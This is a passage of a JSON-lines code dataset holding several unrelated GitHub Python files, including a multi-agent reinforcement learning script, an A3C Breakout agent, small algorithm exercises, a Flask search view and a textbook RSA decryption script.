finished)\n rm.add_state(states.fail, fail)\n return rm\n\ndef make_pickup_key_rm():\n rm = RewardMachine(start_state=\"I\", acc=[\"D\"], rej=[\"F\"], words=[\"key\", \"not_box\", \"box\"])\n states = PickupObj()\n rm.add_state(states.init, pickup_key_rm)\n rm.add_state(states.carrying, drop_key_rm)\n rm.add_state(states.drop, finished)\n rm.add_state(states.fail, fail)\n return rm\n#############################################################################\n# Construct Environments\n#############################################################################\nenvs = []\nfor i in range(num_procs):\n eseed = seed\n envs.append(make_env(env_key=env_key, max_steps_per_episode=max_epsiode_steps, apply_flat_wrapper=False))\n#############################################################################\n# Initialise data structures\n#############################################################################\nball = make_pickupanddrop_ball_dfa()\nkey = make_pickup_key_dfa()\n\nxdfa = CrossProductDFA(\n num_tasks=num_tasks,\n dfas=[copy.deepcopy(obj) for obj in [key, ball]],\n agent=0)\n\nball_rm = make_pickup_ball_rm()\nkey_rm = make_pickup_key_rm()\n\n### Caution! The Reward machine must have the same RM ordering as the xDFA sub DFA ordering\nreward_machine = RewardMachines(\n dfas=[copy.deepcopy(obj) for obj in [key_rm, ball_rm]],\n one_off_reward=1.,\n num_tasks=num_tasks\n)\n\ndef f(xdfa: CrossProductDFA, agent):\n xdfa.agent = agent\n return xdfa\n\n### Compute the state space of the rewrd machine 1:1 correspondence with DFA\nreward_machine.compute_state_space()\nv = reward_machine.value_iteration(0.9)\nPhi = -1. * v\nxdfa.assign_shaped_rewards(Phi)\nxdfa.assign_reward_machine_mappings(reward_machine.state_space, reward_machine.statespace_mapping)\n\nxdfas = [[f(copy.deepcopy(xdfa), agent) for agent in range(num_agents)] for _ in range(num_procs)]\n\nagent = MTARL(envs, num_tasks=num_tasks, num_agents=num_agents, xdfas=xdfas,\n one_off_reward=one_off_reward,\n e=e, c=c, chi=chi, lam=lam, gamma=1.0, lr=alpha1, lr2=alpha2, seed=seed,\n num_procs=num_procs, num_frames_per_proc=max_steps_per_update,\n max_eps_steps=max_epsiode_steps, env_key=env_key,\n normalisation_coef=normalisation_coeff)\ni_s_shape = agent.tf_reset2().shape[-1]\nmodels = [DeepActorCritic(envs[0].action_space.n, 64, num_tasks, name=f\"agent{i}\", activation=\"tanh\", feature_set=i_s_shape) for i in range(num_agents)]\n\ndata_writer = AsyncWriter(\n fname_learning='data-4x4-ma-learning',\n fname_alloc='data-4x4-ma-alloc',\n num_agents=num_agents,\n num_tasks=num_tasks)\n\n############################################################################\n# TRAIN AGENT SCRIPT\n#############################################################################\nepisodes_reward = collections.deque(maxlen=min_episode_criterion)\nkappa = tf.Variable(np.full([num_agents, num_tasks], 1.0 / num_agents), dtype=tf.float32)\nmu_thresh = np.ones([num_agents, num_tasks]) - np.ones([num_agents, num_tasks]) * 0.03\n\nwith tqdm.trange(max_episodes) as t:\n # get the initial state\n state = agent.tf_reset2()\n state = tf.squeeze(state)\n state = tf.expand_dims(tf.transpose(state, perm=[1, 0, 2]), 2)\n log_reward = tf.zeros([num_agents, num_procs, num_tasks + 1], dtype=tf.float32)\n indices = agent.tf_1d_indices()\n mu = tf.nn.softmax(kappa, axis=0)\n print(\"mu \", mu)\n for i in t:\n state, log_reward, running_reward, loss, ini_values = agent.train(state, log_reward, indices, mu, *models)\n if i % 10 == 0:\n with tf.GradientTape() as tape:\n mu = tf.nn.softmax(kappa, axis=0)\n alloc_loss = agent.update_alloc_loss(ini_values, mu)\n kappa_grads = tape.gradient(alloc_loss, kappa)\n #processed_grads = [-agent.lr2 * g for g in kappa_grads]\n kappa.assign_add(-alpha2 * kappa_grads)\n print(\"mu\\n\", mu)\n t.set_description(f\"Batch: {i}\")\n for reward in running_reward:\n episodes_reward.append(reward.numpy().flatten())\n if episodes_reward:\n running_reward = np.around(np.mean(episodes_reward, 0), decimals=2)\n #data_writer.write(running_reward)\n data_writer.write({'learn': running_reward, 'alloc': mu.numpy()})\n t.set_postfix(running_r=running_reward)\n if i % 200 == 0:\n # render an episode\n r_init_state = agent.render_reset()\n r_init_state = tf.expand_dims(tf.expand_dims(r_init_state, 1), 2)\n agent.render_episode(r_init_state, max_epsiode_steps, *models)\n # agent.renv.window.close()\n ### Define break clause\n if episodes_reward:\n running_tasks = np.reshape(running_reward, [num_agents, num_tasks + 1])\n running_tasks_ = running_tasks[:, 1:]\n mu_term = (mu > mu_thresh).numpy().astype(np.float32)\n allocated_task_rewards = mu_term * running_tasks_\n task_term = all([np.any(np.greater_equal(allocated_task_rewards[:, i], e)) for i in range(num_tasks)])\n if all(x > c for x in running_reward[::3]) and task_term:\n break\nprint(\"mu \", mu)\n\n# Save the model(s)\nix = 0\nfor model in models:\n r_init_state = agent.render_reset()\n r_init_state = tf.expand_dims(tf.expand_dims(r_init_state, 1), 2)\n _ = model(r_init_state[ix]) # calling the model makes tells tensorflow the size of the model\n tf.saved_model.save(model, f\"/home/tmrob2/PycharmProjects/MORLTAP/saved_models/agent{ix}_lstm_4x4_ma\")\n ix += 1","repo_name":"tmrob2/MOTARL","sub_path":"examples/team_grid_4x4_ex.py","file_name":"team_grid_4x4_ex.py","file_ext":"py","file_size_in_byte":9767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"43182995667","text":"from typing import List, Tuple\n\n\ndef normalize_frames(frames: List[Tuple[int, float, float, float]]) -> List[Tuple[int, float, float, float]]:\n min_time = frames[0][0]\n xs = [x for t, x, y, z in frames]\n min_x, max_x = min(xs), max(xs)\n ys = [y for t, x, y, z in frames]\n min_y, max_y = min(ys), max(ys)\n zs = [z for t, x, y, z in frames]\n min_z, max_z = min(zs), max(zs)\n # scale = max(max_x, max_y) - min(min_x, min_y)\n scale = max(max_x - min_x, max_y - min_y)\n # scale = max(max_x, max_y, max_z) - min(min_x, min_y, min_z)\n return [\n (\n t - min_time,\n (x - min_x) / scale,\n (y - min_y) / scale,\n (z - min_z) / scale\n )\n for t, x, y, z in frames\n ]\n","repo_name":"lilianluong/multimodal-fantasy-game","sub_path":"recognizer/gesture/gesture_util.py","file_name":"gesture_util.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"2459634516","text":"from rest_framework import serializers\n\nfrom game.models import Player\nfrom user.serializers import UserSerializer\n\n\nclass PlayerSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Player\n fields = [\n 'id',\n 'color',\n 'user',\n 'faction',\n 'is_ready',\n 'n_tactic_tokens',\n 'n_fleet_tokens',\n 'n_strategy_tokens',\n 'n_trade_goods',\n ]\n\n user = UserSerializer(read_only=True)\n","repo_name":"Christiaanben/twilight-imperium-web","sub_path":"src/game/serializers/player_serializer.py","file_name":"player_serializer.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"43795578603","text":"import calendar\nfrom datetime import datetime, timedelta\n\ndef week_of_month(time : datetime):\n \"\"\"\n 월요일을 기준으로 한 달의 몇 주차인지 계산하는 함수\n \"\"\"\n DT = time\n year, month, day = DT.year, DT.month, DT.day\n first_day_weekday, num_days = calendar.monthrange(year, month)\n offset = (7 - first_day_weekday) % 7\n if day <= offset:\n return 1\n else:\n return (day - offset - 1) // 7 + 2\n \n\n\n","repo_name":"kdt-service/AutoNewsFeeding_1","sub_path":"team_1/weeky.py","file_name":"weeky.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35835365501","text":"# how is it protected from paths where the path doesn't reach dest, how is it able to give correct value\n\n\ndef dfs(graph, start, end, visited, res):\n if start in visited:\n return res\n for idx in range(len(graph[start])):\n to = graph[start][idx][0]\n if to == end:\n res.append(start)\n print(start, end=\" \")\n graph[start][idx][0] = \"x\"\n continue\n elif to == \"x\":\n continue\n res = dfs(graph, to, end, (visited | {start}), res)\n return res\n\n\ndef learn_js():\n vertices = int(input())\n graph = {}\n for _ in range(vertices):\n vertex = int(input().strip())\n graph[vertex] = []\n total_edges = int(input().strip())\n for _ in range(total_edges):\n st, to = [int(i) for i in input().strip().split()]\n graph[st].append([to])\n start = int(input().strip())\n end = int(input().strip())\n dfs(graph, start, end, set(), [])\n print()\n\n\nprint(learn_js())\n","repo_name":"s-surineni/atice","sub_path":"hacker_earth/learn_js3.py","file_name":"learn_js3.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39530080497","text":"p, q, r = [int(x) for x in input().split()]\nm1 = []\nm2 = []\nfor cnt in range(p):\n m1.append([int(x) for x in input().split()])\nfor cnt in range(q):\n m2.append([int(x) for x in input().split()])\nres = []\nfor i in range(p):\n row = []\n for j in range(r):\n s = 0\n for k in range(q):\n s += m1[i][k] * m2[k][j]\n print(s, end=' ')\n # row.append(s)\n print()\n # res.append(row)\n#print(res)\n \n","repo_name":"ssinad/quera-solutions","sub_path":"607.py","file_name":"607.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37389402713","text":"class Node():\n\n def __init__(self, data=None):\n self.data = data\n self.next = None\n\n\ndef partition(head, val):\n left = right = head\n while right and left:\n if right.data >= val:\n if left == head:\n left = right.next\n while left:\n if left.data < val:\n right.data, left.data = left.data, right.data\n break\n left = left.next\n right = right.next\n return head\n\n\ndef main():\n node_a = Node(3)\n node_b = Node(5)\n node_c = Node(8)\n node_d = Node(5)\n node_e = Node(10)\n node_f = Node(2)\n node_g = Node(1)\n head = node_a\n node_a.next = node_b\n node_b.next = node_c\n node_c.next = node_d\n node_d.next = node_e\n node_e.next = node_f\n node_f.next = node_g\n curr = head\n while curr:\n print(\"{}->\".format(curr.data),end='')\n curr = curr.next\n print(\"None\")\n partition(head, 5)\n curr = head\n while curr:\n print(\"{}->\".format(curr.data),end='')\n curr = curr.next\n print(\"None\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"richnakasato/ctci-py","sub_path":"2.4.partition.py","file_name":"2.4.partition.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32241937142","text":"from torch.utils.data.sampler import SubsetRandomSampler\r\nfrom torch.utils.data import DataLoader\r\nfrom torchvision import datasets\r\nimport numpy as np\r\n\r\ndef prepare_dataloader(datadir, train_transforms, test_transforms, dataloader_args, valid_size=0.30):\r\n \r\n # create dataset from image folder\r\n train_data = datasets.ImageFolder(datadir, transform=train_transforms)\r\n test_data = datasets.ImageFolder(datadir, transform=test_transforms)\r\n\r\n print(f'Total data: {len(train_data)}\\n')\r\n\r\n # splitting dataset into training and validate part \r\n num_train = len(train_data)\r\n indices = list(range(num_train))\r\n split = int(np.floor(valid_size * num_train))\r\n np.random.shuffle(indices) # shuffling the ids for randomness\r\n\r\n # prepare train and test ids and respective samplers\r\n train_idx, test_idx = indices[split:], indices[:split]\r\n train_sampler = SubsetRandomSampler(train_idx)\r\n test_sampler = SubsetRandomSampler(test_idx)\r\n print(f'Training size: {len(train_idx)}')\r\n print(f'Testing size: {len(test_idx)}')\r\n\r\n # prepare dataloader using sampler\r\n trainloader = DataLoader(train_data, sampler=train_sampler, **dataloader_args)\r\n testloader = DataLoader(test_data, sampler=test_sampler, **dataloader_args)\r\n return trainloader, testloader","repo_name":"BirenderPanwar/tsai_eva4p2","sub_path":"session2/utils/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30535992943","text":"#!/usr/bin/env pypy\n\nimport argparse, re, itertools, collections\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input\",type=str,nargs='?',default=\"input\")\nparser.add_argument(\"--p1\",dest=\"p1\",action='store_true')\nparser.add_argument(\"--no-p1\",dest=\"p1\",action='store_false')\nparser.add_argument(\"--p2\",dest=\"p2\",action='store_true')\nparser.add_argument(\"--no-p2\",dest=\"p2\",action='store_false')\n\nargs = parser.parse_args()\n\nif not args.p1 and not args.p2:\n args.p1 = True\n args.p2 = True\n\nprint(\"Input: %s P1: %s p2: %s\" % (args.input,args.p1,args.p2))\n\nlineRe = re.compile(\"\\d+\")\n\ndata = []\n\nfor x in open(args.input).readlines():\n x = x.strip()\n if not x:\n continue\n\n m = lineRe.match(x)\n if not m:\n print(\"Invalid line: %s\" % (x,))\n \n # Process input line\n data.append(int(x))\n\nprint(\"Data: %s\" % (data,))\n\nif args.p1:\n print(\"Doing part 1\")\n\n incr = 0\n for x,y in zip(data[:-1],data[1:]):\n if y > x:\n incr = incr + 1\n\n print(\"Increases: %s\" % (incr,))\n \n \nif args.p2:\n print(\"Doing part 2\")\n\n sums = [ x + y + z for x,y,z in zip(data[:-2],data[1:-1],data[2:]) ]\n \n\n incr = 0\n for x,y in zip(sums[:-1],sums[1:]):\n if y > x:\n incr = incr + 1\n\n print(\"Increases: %s\" % (incr,))\n\n incr = 0\n for x,y in zip(data[:-3],data[3:]):\n if y > x:\n incr = incr + 1\n\n print(\"Increases: %s\" % (incr,))\n","repo_name":"notadragon/adventofcode","sub_path":"2021/1/2021_1_1.py","file_name":"2021_1_1.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74682344720","text":"import gym\nimport time\nimport random\nimport threading\nimport numpy as np\nimport tensorflow as tf\nfrom skimage.color import rgb2gray\nfrom skimage.transform import resize\nfrom keras.models import Model\nfrom keras.optimizers import RMSprop\nfrom keras.layers import Dense, Flatten, Input\nfrom keras.layers.convolutional import Conv2D\nfrom keras import backend as K\n\n# global variables for A3C\nglobal episode\nepisode = 0\nEPISODES = 8000000\n# In case of BreakoutDeterministic-v3, always skip 4 frames\n# Deterministic-v4 version use 4 actions\nenv_name = \"BreakoutDeterministic-v4\"\n\n# This is A3C(Asynchronous Advantage Actor Critic) agent(global) for the Cartpole\n# In this example, we use A3C algorithm\nclass A3CAgent:\n def __init__(self, action_size):\n # environment settings\n self.state_size = (84, 84, 4)\n self.action_size = action_size\n\n self.discount_factor = 0.99\n self.no_op_steps = 30\n\n # optimizer parameters\n self.actor_lr = 2.5e-4\n self.critic_lr = 2.5e-4\n self.threads = 8\n\n # create model for actor and critic network\n self.actor, self.critic = self.build_model()\n\n # method for training actor and critic network\n self.optimizer = [self.actor_optimizer(), self.critic_optimizer()]\n\n self.sess = tf.InteractiveSession()\n K.set_session(self.sess)\n self.sess.run(tf.global_variables_initializer())\n\n self.summary_placeholders, self.update_ops, self.summary_op = self.setup_summary()\n self.summary_writer = tf.summary.FileWriter('summary/breakout_a3c', self.sess.graph)\n\n def train(self):\n # self.load_model(\"./save_model/breakout_a3c\")\n agents = [Agent(self.action_size, self.state_size, [self.actor, self.critic], self.sess, self.optimizer,\n self.discount_factor, [self.summary_op, self.summary_placeholders,\n self.update_ops, self.summary_writer]) for _ in range(self.threads)]\n\n for agent in agents:\n time.sleep(1)\n agent.start()\n\n while True:\n time.sleep(60*10)\n self.save_model(\"./save_model/breakout_a3c\")\n\n # approximate policy and value using Neural Network\n # actor -> state is input and probability of each action is output of network\n # critic -> state is input and value of state is output of network\n # actor and critic network share first hidden layer\n def build_model(self):\n input = Input(shape=self.state_size)\n conv = Conv2D(16, (8, 8), strides=(4, 4), activation='relu')(input)\n conv = Conv2D(32, (4, 4), strides=(2, 2), activation='relu')(conv)\n conv = Flatten()(conv)\n fc = Dense(256, activation='relu')(conv)\n policy = Dense(self.action_size, activation='softmax')(fc)\n value = Dense(1, activation='linear')(fc)\n\n actor = Model(inputs=input, outputs=policy)\n critic = Model(inputs=input, outputs=value)\n\n actor._make_predict_function()\n critic._make_predict_function()\n\n actor.summary()\n critic.summary()\n\n return actor, critic\n\n # make loss function for Policy Gradient\n # [log(action probability) * advantages] will be input for the back prop\n # we add entropy of action probability to loss\n def actor_optimizer(self):\n action = K.placeholder(shape=[None, self.action_size])\n advantages = K.placeholder(shape=[None, ])\n\n policy = self.actor.output\n\n good_prob = K.sum(action * policy, axis=1)\n eligibility = K.log(good_prob + 1e-10) * advantages\n actor_loss = -K.sum(eligibility)\n\n entropy = K.sum(policy * K.log(policy + 1e-10), axis=1)\n entropy = K.sum(entropy)\n\n loss = actor_loss + 0.01*entropy\n optimizer = RMSprop(lr=self.actor_lr, rho=0.99, epsilon=0.01)\n updates = optimizer.get_updates(self.actor.trainable_weights, [], loss)\n train = K.function([self.actor.input, action, advantages], [loss], updates=updates)\n\n return train\n\n # make loss function for Value approximation\n def critic_optimizer(self):\n discounted_reward = K.placeholder(shape=(None, ))\n\n value = self.critic.output\n\n loss = K.mean(K.square(discounted_reward - value))\n\n optimizer = RMSprop(lr=self.critic_lr, rho=0.99, epsilon=0.01)\n updates = optimizer.get_updates(self.critic.trainable_weights, [], loss)\n train = K.function([self.critic.input, discounted_reward], [loss], updates=updates)\n return train\n\n def load_model(self, name):\n self.actor.load_weights(name + \"_actor.h5\")\n self.critic.load_weights(name + \"_critic.h5\")\n\n def save_model(self, name):\n self.actor.save_weights(name + \"_actor.h5\")\n self.critic.save_weights(name + '_critic.h5')\n\n # make summary operators for tensorboard\n def setup_summary(self):\n episode_total_reward = tf.Variable(0.)\n episode_avg_max_q = tf.Variable(0.)\n episode_duration = tf.Variable(0.)\n\n tf.summary.scalar('Total Reward/Episode', episode_total_reward)\n tf.summary.scalar('Average Max Prob/Episode', episode_avg_max_q)\n tf.summary.scalar('Duration/Episode', episode_duration)\n\n summary_vars = [episode_total_reward, episode_avg_max_q, episode_duration]\n summary_placeholders = [tf.placeholder(tf.float32) for _ in range(len(summary_vars))]\n update_ops = [summary_vars[i].assign(summary_placeholders[i]) for i in range(len(summary_vars))]\n summary_op = tf.summary.merge_all()\n return summary_placeholders, update_ops, summary_op\n\n# make agents(local) and start training\nclass Agent(threading.Thread):\n def __init__(self, action_size, state_size, model, sess, optimizer, discount_factor, summary_ops):\n threading.Thread.__init__(self)\n\n self.action_size = action_size\n self.state_size = state_size\n self.actor, self.critic = model\n self.sess = sess\n self.optimizer = optimizer\n self.discount_factor = discount_factor\n self.summary_op, self.summary_placeholders, self.update_ops, self.summary_writer = summary_ops\n\n self.states, self.actions, self.rewards = [],[],[]\n\n self.local_actor, self.local_critic = self.build_localmodel()\n\n self.avg_p_max = 0\n self.avg_loss = 0\n\n # t_max -> max batch size for training\n self.t_max = 20\n self.t = 0\n\n # Thread interactive with environment\n def run(self):\n # self.load_model('./save_model/breakout_a3c')\n global episode\n\n env = gym.make(env_name)\n\n step = 0\n\n while episode < EPISODES:\n done = False\n dead = False\n # 1 episode = 5 lives\n score, start_life = 0, 5\n observe = env.reset()\n next_observe = observe\n\n # this is one of DeepMind's idea.\n # just do nothing at the start of episode to avoid sub-optimal\n for _ in range(random.randint(1, 30)):\n observe = next_observe\n next_observe, _, _, _ = env.step(1)\n\n # At start of episode, there is no preceding frame. So just copy initial states to make history\n state = pre_processing(next_observe, observe)\n history = np.stack((state, state, state, state), axis=2)\n history = np.reshape([history], (1, 84, 84, 4))\n\n while not done:\n step += 1\n self.t += 1\n observe = next_observe\n # get action for the current history and go one step in environment\n action, policy = self.get_action(history)\n # change action to real_action\n if action == 0: real_action = 1\n elif action == 1: real_action = 2\n else: real_action = 3\n\n if dead:\n action = 0\n real_action = 1\n dead = False\n\n next_observe, reward, done, info = env.step(real_action)\n # pre-process the observation --> history\n next_state = pre_processing(next_observe, observe)\n next_state = np.reshape([next_state], (1, 84, 84, 1))\n next_history = np.append(next_state, history[:, :, :, :3], axis=3)\n\n self.avg_p_max += np.amax(self.actor.predict(np.float32(history / 255.)))\n\n # if the ball is fall, then the agent is dead --> episode is not over\n if start_life > info['ale.lives']:\n dead = True\n start_life = info['ale.lives']\n\n score += reward\n reward = np.clip(reward, -1., 1.)\n\n # save the sample to the replay memory\n self.memory(history, action, reward)\n\n # if agent is dead, then reset the history\n if dead:\n history = np.stack((next_state, next_state, next_state, next_state), axis=2)\n history = np.reshape([history], (1, 84, 84, 4))\n else:\n history = next_history\n\n #\n if self.t >= self.t_max or done:\n self.train_model(done)\n self.update_localmodel()\n self.t = 0\n\n # if done, plot the score over episodes\n if done:\n episode += 1\n print(\"episode:\", episode, \" score:\", score, \" step:\", step)\n\n stats = [score, self.avg_p_max / float(step),\n step]\n for i in range(len(stats)):\n self.sess.run(self.update_ops[i], feed_dict={\n self.summary_placeholders[i]: float(stats[i])\n })\n summary_str = self.sess.run(self.summary_op)\n self.summary_writer.add_summary(summary_str, episode + 1)\n self.avg_p_max = 0\n self.avg_loss = 0\n step = 0\n\n # In Policy Gradient, Q function is not available.\n # Instead agent uses sample returns for evaluating policy\n def discount_rewards(self, rewards, done):\n discounted_rewards = np.zeros_like(rewards)\n running_add = 0\n if not done:\n running_add = self.critic.predict(np.float32(self.states[-1] / 255.))[0]\n for t in reversed(range(0, len(rewards))):\n running_add = running_add * self.discount_factor + rewards[t]\n discounted_rewards[t] = running_add\n return discounted_rewards\n\n # update policy network and value network every episode\n def train_model(self, done):\n discounted_rewards = self.discount_rewards(self.rewards, done)\n\n states = np.zeros((len(self.states), 84, 84, 4))\n for i in range(len(self.states)):\n states[i] = self.states[i]\n\n states = np.float32(states / 255.)\n\n values = self.critic.predict(states)\n values = np.reshape(values, len(values))\n\n advantages = discounted_rewards - values\n\n self.optimizer[0]([states, self.actions, advantages])\n self.optimizer[1]([states, discounted_rewards])\n self.states, self.actions, self.rewards = [], [], []\n\n def build_localmodel(self):\n input = Input(shape=self.state_size)\n conv = Conv2D(16, (8, 8), strides=(4, 4), activation='relu')(input)\n conv = Conv2D(32, (4, 4), strides=(2, 2), activation='relu')(conv)\n conv = Flatten()(conv)\n fc = Dense(256, activation='relu')(conv)\n policy = Dense(self.action_size, activation='softmax')(fc)\n value = Dense(1, activation='linear')(fc)\n\n actor = Model(inputs=input, outputs=policy)\n critic = Model(inputs=input, outputs=value)\n\n actor._make_predict_function()\n critic._make_predict_function()\n\n actor.set_weights(self.actor.get_weights())\n critic.set_weights(self.critic.get_weights())\n\n actor.summary()\n critic.summary()\n\n return actor, critic\n\n def update_localmodel(self):\n self.local_actor.set_weights(self.actor.get_weights())\n self.local_critic.set_weights(self.critic.get_weights())\n\n def get_action(self, history):\n history = np.float32(history / 255.)\n policy = self.local_actor.predict(history)[0]\n action_index = np.random.choice(self.action_size, 1, p=policy)[0]\n return action_index, policy\n\n # save of each step\n # this is used for calculating discounted rewards\n def memory(self, history, action, reward):\n self.states.append(history)\n act = np.zeros(self.action_size)\n act[action] = 1\n self.actions.append(act)\n self.rewards.append(reward)\n\n\n# 210*160*3(color) --> 84*84(mono)\n# float --> integer (to reduce the size of replay memory)\ndef pre_processing(next_observe, observe):\n processed_observe = np.maximum(next_observe, observe)\n processed_observe = np.uint8(resize(rgb2gray(processed_observe), (84, 84), mode='constant') * 255)\n return processed_observe\n\n\nif __name__ == \"__main__\":\n global_agent = A3CAgent(action_size=3)\n global_agent.train()\n","repo_name":"rlcode/reinforcement-learning","sub_path":"3-atari/1-breakout/breakout_a3c.py","file_name":"breakout_a3c.py","file_ext":"py","file_size_in_byte":13286,"program_lang":"python","lang":"en","doc_type":"code","stars":3229,"dataset":"github-code","pt":"3"} +{"seq_id":"22889589863","text":"from flask import Blueprint, render_template, request\n# from json import JSONDecodeError\n\nfrom logging_exemplar import logger_main\nfrom classes.posts import Posts\n\n\nmain_blueprint = Blueprint('main_blueprint', __name__,\n template_folder='templates')\n\nPOST_PATH = \"posts.json\"\nUPLOAD_FOLDER = \"uploads/images\"\n\nposts = Posts(POST_PATH, UPLOAD_FOLDER)\n\n\n@main_blueprint.route('/')\ndef index_page():\n logger_main.info('Главная страница открыта')\n return render_template('index.html')\n\n\n@main_blueprint.route('/search')\ndef search_page():\n s = request.args.get('s')\n logger_main.info(f'Выполняется поиск \"{s}\"')\n posts_list = posts.get_posts_by_word(s)\n return render_template('post_list.html', search=s,\n posts=posts_list, len_=len(posts_list))\n\n","repo_name":"Kapitolina999/HW_12","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24059349813","text":"#!/usr/bin/python\nimport sys\n\ndef parse_line(text):\n res = []\n\n if type(text) is int:\n text = str(text)\n for char in text:\n if not res:\n res.append(char)\n continue\n cur = res[-1]\n if int(cur+char) < 127:\n res[-1] += char\n else:\n if int(cur) < 32:\n print(\"Invalid: {}\".format(cur))\n res.append(char)\n\n return ''.join((chr(int(n)) for n in res))\n\n# From rosettacode.org/wiki/Modular_inverse#Python\ndef extended_gcd(aa, bb):\n last_rem, rem = abs(aa), abs(bb)\n x, last_x, y, last_y = 0, 1, 1, 0\n while rem:\n last_rem, (quotient, rem) = rem, divmod(last_rem, rem)\n x, last_x = last_x - quotient * x, x\n y, last_y = last_y - quotient * y, y\n return last_rem, last_x * (-1 if aa < 0 else 1), last_y * (-1 if bb < 0 else 1)\n\ndef modinv(a, m):\n g, x, y = extended_gcd(a, m)\n if g != 1:\n raise ValueError\n return x % m\n\nclass RSA:\n def __init__(self, p, q, public_exponent, private_exponent=None):\n self.p = p\n self.q = q\n self.n = p*q\n self.e_pub = public_exponent\n\n if not private_exponent:\n private_exponent = modinv(public_exponent, (p-1)*(q-1))\n self.e_priv = private_exponent\n\n def encrypt(self, number):\n return pow(number, self.e_pub, self.n)\n\n def decrypt(self, number):\n return pow(number, self.e_priv, self.n)\n\ndef load(fn):\n # returns p, q, n, b, ciphertext\n p=q=n=b=None\n ciphertext = []\n\n with open(fn) as f:\n for line in f:\n if '=' in line:\n name, val = [s.strip() for s in line.split('=')]\n if name is 'p':\n p = int(val)\n elif name is 'q':\n q = int(val)\n elif name is 'n':\n n = int(val)\n elif name is 'b':\n b = int(val)\n elif line.strip():\n ciphertext.append(line.strip())\n\n if None in (p, q, b):\n raise ValueError\n if n is None:\n n = p * q\n\n return RSA(p, q, b), ciphertext\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"\"\" Usage: {} \n\n cipher-file should consist of lines of the format =,\n where name is 'p', 'q', 'n', or 'b', corresponding to the factors of the\n RSA modular value, the RSA modular value, and the public exponent.\n Providing n is optional. Following these lines should be the ciphertext,\n as numbers, one per line.\"\"\")\n exit(0)\n\n crypto, text = load(sys.argv[1])\n print(''.join([parse_line(crypto.decrypt(int(line))) for line in text]))\n","repo_name":"dylwhich/crypto-rsa","sub_path":"rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29285888077","text":"import pytest\nimport platform\nimport uuid\nimport irt.utils\n\ntry:\n from mapreduce.yt.python.yt_stuff import YtStuff, YtConfig\nexcept ImportError as e:\n if platform.system() == 'Linux':\n raise e\n\n\ndef write_data(client, tbl):\n data = [\n {\n \"col1\": \"val1\"\n }\n ]\n\n client.write_table(tbl, data)\n\n\n@pytest.mark.linux\ndef test_yt():\n config = YtConfig(wait_tablet_cell_initialization=True)\n yt_stuff = YtStuff(config)\n yt_stuff.start_local_yt()\n client = yt_stuff.get_yt_client()\n\n src = '//home/' + str(uuid.uuid4())\n dst = src + '_out'\n\n write_data(client, src)\n\n assert not irt.utils.is_inside_yt_job()\n assert not irt.utils.is_inside_local_yt_job()\n assert irt.utils.get_current_yt_job_id() is None\n assert irt.utils.get_current_yt_operation_id() is None\n assert irt.utils.get_current_yt_cluster() is None\n\n def mapper(row):\n import irt.utils\n yield {\n 'is_in_yt_job': irt.utils.is_inside_yt_job(),\n 'job_id': irt.utils.get_current_yt_job_id(),\n 'operation_id': irt.utils.get_current_yt_operation_id(),\n 'yt_cluster': irt.utils.get_current_yt_cluster(),\n 'local_yt': irt.utils.is_inside_local_yt_job()\n }\n\n client.run_map(mapper, src, dst)\n data = list(client.read_table(dst))\n\n assert len(data) == 1\n data = data[0]\n assert len(data) == 5\n assert data['is_in_yt_job']\n assert data['job_id']\n assert data['operation_id']\n assert data['yt_cluster'] is None # local YT\n assert data['local_yt']\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"rt research/test_yt.py","file_name":"test_yt.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26621166002","text":"class Bicicletas:\n def __init__(self,marca,rodado,precio):\n self.marca=marca\n self.rodado=rodado\n self.precio=precio\n#DATOS YA CARGADOS EN LA CONCESIONARIA.\nbiciorbea=\"Orbea\"\nrodadoorbea=29\nprecioorbea=150000\norbea=Bicicletas(biciorbea,rodadoorbea,precioorbea)\n######## print(orbea.marca,orbea.rodado,orbea.precio)\nbicivenzo=\"Venzo\"\nrodadovenzo=26\npreciovenzo=85000\nvenzo=Bicicletas(bicivenzo,rodadovenzo,preciovenzo)\n######## print(venzo.marca,venzo.rodado,venzo.precio)\n\n\n\nclass Motos:\n def __init__(self,marca,modelo,precio):\n self.marca=marca\n self.modelo=modelo\n self.precio=precio\n#DATOS YA CARGADOS EN LA CONCESIONARIA.\nmotohonda=\"Honda Wave\"\nmodelohonda=2014\npreciohonda=90000\nhonda=Motos(motohonda,modelohonda,preciohonda)\n######## print(honda.marca,honda.modelo,honda.precio)\nmotomotomel=\"Motomel\"\nmodelomotomel=2017\npreciomotomel=110000\nmotomel=Motos(motomotomel,modelomotomel,preciomotomel)\n######## 